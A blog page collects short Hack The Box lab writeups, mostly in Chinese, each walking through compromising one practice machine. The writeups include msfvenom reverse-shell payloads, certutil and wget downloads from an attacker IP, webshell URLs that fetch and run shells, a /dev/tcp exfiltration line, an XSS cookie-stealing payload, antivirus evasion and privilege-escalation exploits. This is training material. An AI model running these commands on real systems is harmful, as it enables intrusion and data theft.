Granny (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/14 IP : 10.129.2.63 Recon 觀察首頁 IIS 6nmap 掃 port- nmap -A -p80 10.129.2.63 掃目錄- 發現一些奇怪的 dll- http://10.129.2.63/_vti_inf.html FPAuthorScriptUrl="_vti_bin/_vti_aut/author.dll" FPAdminScriptUrl="_vti_bin/_vti_adm/admin.dll" TPScriptUrl="_vti_bin/owssvr.dll" Exploit https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269![](/uploads/2022/02/d60bd-EOeoMgt.png)nc 收 shell- 確認使用者- systeminfo- 送 windows-exploit-suggester.py- 測 CVE-2015-1701- https://github.com/hfiref0x/CVE-2015-1701 certutil -urlcache -f http://10.10.16.35/Taihou32.exe Taihou32.exe impacket-smbserver meow . copy \\10.10.16.35\meow\Taihou32.exe Taihou32.exe shell 卡住不能用 QQQ 提權 準備 shellmsfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f dll > s.dll rundll32 s.dll``churrasco- churrasco.exe -d “shellx86.exe"nc 收 shell- User flag- 700c5dc163014e22b3e408f8703f67d1Root Flag- aa4beed1c0584445ab463a6747bd06e9 學到ㄌ smb 傳檔案 盡量 webshell QQ

2021-09-15 · 1 分鐘 · steven

Blue (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/51 IP : 10.129.209.90 Recon Rustscannmap- nmap -A -p 135,139,445,49152,49153,49154,49155,49156,49157 10.129.209.90系統版本- Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)smb- nmapAutomator- Exploit https://github.com/helviojunior/MS17-010修改 send_and_execute.py 裡面的 username等於 guestMSF 準備 shell- msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f exe -o shellx64.exe其實這邊用 x86 也可以執行 Exploit- python send_and_execute.py 10.129.216.62 ../shellx64.exe nc 收 shell- MSF Exploit use windows/smb/ms17_010_eternalblue options set RHOSTS 10.129.216.62 set LHOST 10.10.16.35 runGet Root Key- ff548eb71e920ff6c08843ce9df4e717 Get User Key- 4c546aea7dbee75cbd71de245c8deea9

2021-09-15 · 1 分鐘 · steven

Blocky (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/48 IP : 10.129.1.53 Recon RustscanNmap- 觀察首頁- 看起來是 Wordpress掃目錄- https://www.exploit-db.com/exploits/46676 phpmyadmin pluginsPHPmyadmin- Version 4.5.4.1 有 Exploithttps://www.exploit-db.com/exploits/40185要帳密繼續觀察- 他有一個 Wiki 其實剛剛 dirsearch 就有看到 Wordpress 觀察 Wordpress 使用者http://10.129.1.53/index.php/?author=1 notch 嘗試登入 /wp-admin- 觀察目錄 /plugins- plugins 裡面有兩個檔案 感覺 BlockyCore.jar 是它們自己寫的 Reverse 用 r2 觀察算ㄌ還是不要裝逼,乖乖用 jd-gui 笑死- 找到 db 帳密- root 8YsqfCTnvxAUeduzjNSXe22 PHP My admin 用帳密登入後找到 Wordpress 使用者頁面 備份原本使用者的 hash 以備不時之需 $P$BiVoTj899ItS1EZnMhqeqVbrZI4Oq0/把 hash 修改成 12345 的 md5- 827ccb0eea8a706c4c34a16891f84e7b 登入 Wordpress 用帳號 notch 密碼 12345 登入在 plugin 中增加 php web shell- 確認 webshell 可用- 下載 reverse shell- http://10.129.1.53/wp-content/plugins/akismet/akismet.php?A=wget%2010.10.16.35:8000/s_HTB執行 webshell- http://10.129.1.53/wp-content/plugins/akismet/akismet.php?A=bash%20s_HTB Reverse shell spawn shellpython3 -c 'import pty; pty.spawn("/bin/bash")' 提權 跑 Linpeas 發現可以 Kernel Exploit https://github.com/rlarabee/exploits/tree/master/cve-2017-16995編譯並丟過去- https://raw.githubusercontent.com/rlarabee/exploits/master/cve-2017-16995/cve-2017-16995.c 取得 Flag- User 59fee0977fb60b8a0bc6e41e751f3cd5Root- 0a9694a5b4d272c694679f7860f1cd5f看了一下正規解- 貌似可以直接用 SQL 密碼 SSH 登入 然後 sudo su 就結束ㄌ ㄏㄏ

2021-09-15 · 1 分鐘 · steven

Bashed (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/118 IP : 10.129.209.72 Recon RustscanWeb- dirsearch 發現 /dev/ 裡面有 phpbash PHP Bash 可以直接用 cat /etc/passwd 指令 Reverse shell 直接戳習慣的 reverse shell 會自動離開改戳 msf 的 reverse shell- msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f elf > shell就順利接上了- spawn shell- python -c 'import pty; pty.spawn("/bin/bash")' 提權 起手式 sudo -l 可以切換使用者到 scriptmanager sudo -u scriptmanager bash 跑 Linpeas 傳回來- cat s_peas.txt > /dev/tcp/10.10.16.35/1234使用 CVE-2017-16995 Kernel Exploit- wget http://10.10.16.35/CVE-2017-16995/exploit 成功提權取得 Root Flag- cc4f0afe3a1026d402ba10329674a8e2 提權 2 觀察 /scripts裡面看起來 是 cronjob 跑 Python 用 msf 再生一個 reverse shell (跟目前不同 port)- msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f elf > shell1傳到靶機加權限- wget 10.10.16.35/shell1 chmod 777 shell1寫入 cron job 的 py- echo 'import os' >> test.py echo 'os.system("/scripts/shell1")' >> test.py收到 Reverse shell-

2021-09-15 · 1 分鐘 · steven

Bank (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/26 IP : 10.129.29.200 Recon RustscanNmap- 通靈加 Host- 加 /etc/hosts加 Host 載下來看- 發現 302 轉走,但其實是有資料ㄉ掃目錄- http://bank.htb/assets/ 嘗試傳 Webshell support.php 看起來可以傳檔案 但只能傳圖片嘗試用各種方法繞- 但基本上都失敗 取得密碼 通靈掃到 /balance-transfer 發現裡面的資訊都有過加密- 複製出來觀察 size a = a.replace("[ ] ","") a = a.split("\n") l = [] for i in a: i = i.split(" ") l.append(int(i[1])) l.sort() print(l) 發現有一個檔案大小只有257 觀察檔案內容- 取得帳密chris@bank.htb !##HTBB4nkP4ssw0rd!##順利登入- 又回到 support.php- 測各種副檔名繞過- s.php%00.jpg s.php\x00.jpg 都失敗測 XSS- new Image().src="http://10.10.16.35:1234/"+document.cookie 成功檢查註解- 發現可以用 .htb 成功上傳 Webshell- 執行 Reverse shell bank.htb/uploads/s.htb?A=wget 10.10.16.35:8000/s_HTB http://bank.htb/uploads/s.htb?A=bash%20s_HTB spawnpython -c 'import pty; pty.spawn("/bin/bash")' 提權 Kernel Version有奇怪的 SUID 程式- 直接執行- 就 Root shell ㄌ取得 Flag- RootUser- 嘗試不登入傳 shell 先隨便傳Burp 改副檔名 .htb- 上傳成功- 所以取得密碼的那一段根本不用做就可以結束ㄌ= = 學到了 php 副檔名方法 注意註解 QQ

2021-09-15 · 1 分鐘 · steven

Optimum (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/6 IP : 10.129.209.84 Information Gathering 掃 Port觀察 80 port- HFS 2.3 尋找 Exploit 找到https://www.exploit-db.com/exploits/39161 需要準備 ncwget https://github.com/int0x33/nc.exe/raw/master/nc.exe依照需求開 http server- python3 -m http.server 80 放 nc執行腳本- 收到 Reverse shell- 取得 User flag- 提權 systeminfo載豌豆- certutil -urlcache -f http://10.10.16.35:8000/winPEASx64.exe winpeas.exe 執行豌豆- 看到帳密kostas kdeEjDowkS*使用 Windows-Exploit-Suggester- https://github.com/AonCyberLabs/Windows-Exploit-Suggester 需要先裝指定版本的 xlrdpip install xlrd==1.2.0``./windows-exploit-suggester.py --update- 尋找推薦的 Exploit 腳本嘗試 MS16-032- wget https://www.exploit-db.com/download/39719 -O Invoke-MS16-032.ps1 載腳本certutil -urlcache -f http://10.10.16.35/Invoke-MS16-032.ps1 Invoke-MS16-032.ps1失敗- https://evi1cg.me/archives/MS16-032-Windows-Privilege-Escalation.html 看起來因為他是給 GUI 用的,需要彈出額外視窗嘗試 MS16-098- https://github.com/sensepost/ms16-098 載下來執行 成功取得 System Flag-

2021-09-09 · 1 分鐘 · steven

Archetype (Hack The Box Writeup)

掃 Port rustscan -a 10.10.10.27 -r 1-65535nmap 繼續掃- nmap -A -p135,139,445,5985,47001,49664,49665,49666,49667,49669,49668 10.10.10.27 一堆的 RPC SMB 1433 是 MSSQL SMB SMB 匿名登入 發現 backupsbackups 資料夾- 一個 Config 載下來取得密碼資訊- Host Name : ARCHETYPE User ID : sql_svc Password : M3g4c0rp123 MSSQL 安裝 impacketsudo apt install python3-impacket``impacket-mssqlclient -p 1433 sql_svc@10.10.10.27 -windows-auth- MSSQL 取得 Shell 就有機會可以 RCE- exec xp_cmdshell '{指令}'``systeminfo- dir- exec xp_cmdshell 'dir'透過開啟本地 smb- impacket-smbserver meow .準備 Reverse shell- msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.16 LPORT=7877 -e x86/shikata_ga_nai -f exe > shell.exe經測試,不掛 x86/shikata_ga_nai 就會被 Defender 吃掉 Shell 執行 Shellexec xp_cmdshell '\\10.10.16.16\meow\shell.exe' 收回 Reverse shell- 取得 User Flag

2021-09-09 · 1 分鐘 · steven

Netmon (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/Netmon IP : 10.129.210.193 Recon Rustscan Open 10.129.210.193:80 Open 10.129.210.193:135 Open 10.129.210.193:139 Open 10.129.210.193:445 Open 10.129.210.193:5985 nmap FTP- Web- appVersion’:‘18.1.37.13946’ https://github.com/wildkindcc/CVE-2018-9276 https://github.com/chcx/PRTG-Network-Monitor-RCE FTP Try Exploithttps://github.com/chcx/PRTG-Network-Monitor-RCE 需要登入才能用,所以我們需要找帳密QQ從官網發現 Log 跟 Config 存在 /ProgramData/Paessler- wget -r ftp://10.129.210.193/ProgramData/Paessler 整包載下來grep password */* | less- 發現 PRTG Configuration.dat 很可疑 看到相關的檔案有以下幾個- PRTG Configuration.old.bak PRTG Configuration.dat PRTG Configuration.old Configuration Auto-Backups/*``PRTG Configuration.old.bak 應該最可疑- 看到帳密prtgadmin PrTg@dmin2018 但登入失敗通靈把密碼改 2019- prtgadmin PrTg@dmin2019 登入成功 Exploit https://github.com/wildkindcc/CVE-2018-9276`python CVE-2018-9276.py -i 10.129.210.202 -p 80 –lhost 10.10.16.35 –lport 7877 –user prtgadmin –password PrTg@dmin2019` 確定權限- 取得 Flag- 學到了 FTP 記得 ls -al 避免隱藏檔案 密碼可以試試看猜規則 QQ年分之類的

2021-09-08 · 1 分鐘 · steven

Devel (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/3 IP : 10.129.208.183 Information Gathering Port Scanrustscan -a 10.129.208.183 -r 1-65535 21 : FTP 80 : Web FTP Services Try to connect to ftpUse Aspx Web shell- https://raw.githubusercontent.com/SecWiki/WebShell-2/master/Aspx/awen%20asp.net%20webshell.aspx Web Shell Install Reverse ShellASPX Reverse shell https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx Reverse shell Check System Infouser : iis apppool\web- System : Win 7 x64 6.1.7600 N/A Build 7600- Check Environment Variable Privilege Escalation With OS VersionExploit : MS11-046 Kernel Exploits- https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046Download Exploit file to target machine- certutil -urlcache -f http://10.10.16.35:8000/ms11-046.exe ms11-046.exeRun binary- Get SystemUser Flag- Root Flag-

2021-09-08 · 1 分鐘 · steven

Legacy (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/2 IP : 10.10.10.4 Info gathering nmap scan portenum4linux check version- nmap check smb version- So… we know that- Domain name : HTB OS : Windows XP Open Services : SMB Find Exploit GoogleXP SMB Exploit https://github.com/helviojunior/MS17-010 MS17-010Prepare reverse shell exe file- msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7879 -f exe > shell_reverse_tcpRun exploit- Get reverse shell- Flag Root FlagUser Flag-

2021-09-05 · 1 分鐘 · steven